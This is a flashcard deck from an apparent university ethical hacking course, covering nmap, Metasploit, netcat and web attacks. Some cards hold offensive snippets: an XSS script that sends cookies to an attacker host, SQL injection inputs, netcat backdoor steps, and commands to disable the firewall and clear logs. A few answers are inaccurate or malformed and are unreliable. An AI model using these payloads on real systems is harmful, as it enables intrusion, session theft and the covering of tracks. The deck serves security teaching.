Brainscape's Knowledge GenomeTM

Browse over 1 million classes created by top students, professors, publishers, and experts.


See full index

Autumn 2024 > Ethical Hacking > Flashcards

Ethical Hacking Flashcards

1
Q

List the 5 phases of ethical hacking

A

Reconnaisance
Scanning
Exploitation
Post Exploitation
Report Writing

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

List the google search string terms

A

intitle
intext
inurl
filetype
site

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

what is the nslookup command to change server?

A

server 8.8.8.8

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

What is the nslookup command to find the authoritative DNS server for a domain

A

set type=ns
westernsydney.edu.au

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

What are the types of hacking?

A

White hat: Non malicious attacks with full consent, done for security purposes, also known as ethical hacking

Grey hat hacking: Non malicious attacks done without permission

Black hat hacking: Done for malicious purpose

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

What can scanning find?

A

If a host is alive
What ports are open
What processes are running on the host
What vulnerabilities exist

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

What is nmap’s default scan behaviour?

A

nmap only scans the 1000 most common TCP ports by default. Sends TCP SYN, ACK and ICMP echo requests

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

What does nmap do in order?

A

Host discovery, port scanning, service and OS detection

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

What is the nmap command to help?

A

nmap -h

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

What is the nmap command context for the top ports

A

sudo nmap [-s* for type of ports] –top-ports [number of ports] [ip address]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

What is the nmap command for scanning ports with
1. SYN packets
2. TCP connections
3. ACK packets
4. UDP

A

sudo nmap -s* [ip address]
*S for SYN
T for TCP
A for ACK
U for UDP

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

What is the nmap command syntax to specify a port scan, and what is it for a range of ports?

A

sudo nmap -p [port number][ip address]
Ranges are [20-28,80,100]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

What is the nmap service detection command

A

sudo nmap -sV [ip address]
sudo nmap -sUV [ip address] for UDP ports

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

What is the nmap OS detection command

A

sudo nmap -O [ip address]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

Name the vuln database used with our exploits (MS010 etc)

A

MS Security Bulletin

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

Name three vuln scanners

A

GVM
Nessus
Nmap

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

What is the command to start GVM, and to access it?

A

‘sudo gvm-start’
It is accessed with http://localhost:9392 or http://localhost:80

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

What is the exploitation tool we use, and what is the command to start it on Kali Linux

A

MSF or Metasploit Framework.
It is accessed with the command msfconsole

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

What are the steps to exploit a system with MSF

A

msfconsole to enter it
search vuln
use exploit from the results
set payload
show options and set options
exploit

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
20
Q

What is searchsploit, the syntax and some options

A

A local kali database to search exploits:
searchsploit [options] [terms]
-c is case sensitive
-p is full path

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
21
Q

How are exploits organised in msfconsole?

A

By OS

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
22
Q

What are the three payload categories?

A

Singles (function alone), Stagers(uploads a stage into victim’s memory) and Stages(payload needs loaded into memory)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
23
Q

What are the two types of payload stagers?

A

Bind - host connects to the target
Reverse - Sets a TCP connection from target to host

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
24
Q

What are the commands to list the sessions and access them on msfconsole?

A

sessions
sessions -i (id)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
25
Q

What does DLL stand for

A

Dynamic Link Library

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
26
Q

What does DLL do?

A

Forces another process to upload and run a payload on the host system
DLL injection is injecting a payload into a process to run it on the system

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
27
Q

What is the command to use nmap to detect vulns?

A

sudo nmap [script name] [port number] [target ip address]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
28
Q

List a few meterpreter shell commands

A

cd, mkdir, rm, pwd, ls

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
29
Q

What is the command to send a session to the background?

A

background

30
Q

What is the command to hide a process?

A

getpid
ps -S [explorer]
migrate [target pid]

31
Q

What can vncinject do?

A

It injects a VNC server into a process on the target. If viewonly is set to true, you can view the desktop in real time, and if false, you have control to the desktop in real time

32
Q

List netcat’s functions

A

Banner grabbing
Establishing a raw data connection
Transferring files
Scanning ports
Shells

33
Q

What is the syntax for a netcat raw connection?

A

sudo nc [ip] [port]

34
Q

What is the command to run netcat on server mode? Explain what the options are.

A

sudo nc -vlp [port]
-l listens to ports
-v displays diagnostic messages
-p defines the port

35
Q

Write the file transfer commands for netcat through server mode

A

nc -vlp 2222 < openme.pdf
nc [ip] 2222 > openme.pdf

36
Q

What is client side exploitation?

A

Exploiting vulns on client’s systems and software i.e browsers, email clients etc.

37
Q

What is the payload option to create a malicious url to send to the client?

A

set srvport to listen on, set URIPATH, and set allowprompt to true

38
Q

What is the meterpreter options to allow migration of processes

A

set prependmigrate true
set prependmigrate proc [process name]

39
Q

What are the options to create a hostile pdf

A

exename (name of process)
filename [name]

40
Q

Command to create a meterpreter handler to recieve the connection

A

use exploit/multi/handler

41
Q

List some tasks of post exploitation

A

Privilege escalation
Creating backdoors
Information gathering
Installing rootkits

42
Q

What are the two methods of privilege escalation?

A

‘getsystem’ and local exploits

43
Q

How are local exploits used to escalate privilege?

A

Local exploits are run on the target once access is gained. The current session is backgrounded and a local exploit is used. The target is set. The session with the access and LPORT are set, then ‘exploit’ed

44
Q

Name the commands for system info gathering

A

sysinfo
hashdump
idletime

45
Q

Where are system logs stored in Linux, and where in Windows

A

/var/log
Event viewer

46
Q

What two logs does Windows viewer get?

A

Windows logs, application and service logs

47
Q

What command is used to delete all logs in Windows

A

clearev

48
Q

What is a rootkit?

A

An application that gains unauthorised access to computers and can hide its or other processes’ existence - hides processes or files

49
Q

List the three ‘reg’ commands

A

query, add, delete

50
Q

What is the command to turn firewalls off?

A

netsh advfirewall set allprofiles off

51
Q

What is the command to show firewall rules?

A

netsh advfirewall firewall show rule name=[“rule”] or all

52
Q

What are the steps to install an nc backdoor?

A

Upload nc.exe to target
Add nc.exe to automatic startup, set port number to listen on
Allow netcat in windows firewall by adding a rule inbound allowing tcp port

53
Q

What is the crafted input to display all user records?

A

’ or ‘0’=’0

54
Q

What is the crafted input to display database server version

A

’ union select null, version() #

55
Q

What is the crafted input to display username for DB access

A

’ union select null, user() #

56
Q

Crafted input to display database name?

A

’ union select null, database()

57
Q

Input to display table name

A

’ union select null, table_name
from information_schema.tables where table_name like
‘user%’ #

58
Q

What does mysqli_real_escape_string() function do

A

Bypasses ‘ and ‘’

59
Q

What are the two commands used to set proper SQLI security?

A

stripslashes()
mysqli_real_escape_string()

60
Q

What is a cookie?

A

A string from the website to a user’s browser that is stored as a unique id for the session

61
Q

What is the syntax to create a cookie?

A

Set-Cookie: [name]=[value] [; attributes]

62
Q

What are the cookie attributes?

A

Expires
Secure
HTTPOnly
Domain
Path

63
Q

What is an XSS Attack?

A

Using vulnerable websites to send malicious codes to clients

64
Q

What is the script to generate an alert box?

A 
<script>
alert("THIS IS THEFT"); <script>
</script>
65
Q

What is the script to steal cookies over XSS? (Starting a server in Kali and the script command)

A

Starting a server: sudo python3 -m http.server 80

<script>
new Image().src="http://[ipaddr]/a.gif?" +document.cookie
</script>
66
Q

What is the difference between persistent and non persistent XSS attacks?

A

Persistent attacks store the JS code in the database, whereas non persistent or reflected attacks do not

67
Q

What is ZAP and what does it do?

A

OWASP Zed attack proxy intercepts HTML request and response messages

68
Q

How does Reflected XSS work?

A

A hacker sends a URL with a query string with malicious JS code, which is echoed as web content by a vulnerable site and executed in target computers

69
Q

What is the $_SERVER[“PHP_SELF”] variable?

A

It stores the full path of the php file currently executed by the web server

70
Q

What are the two guidelines of XSS Defence?

A

Protect cookies and sanitize user inputs

71
Q

What are the methods to sanitise user inputs?

A

htmlspecialchars() - removes the syntax of special characters in user input
test_input()
Using the HTML purifier library

Autumn 2024 (3 decks)

Brainscape helps you reach your goals faster, through stronger study habits.
© 2024 Bold Learning Solutions. Terms and Conditions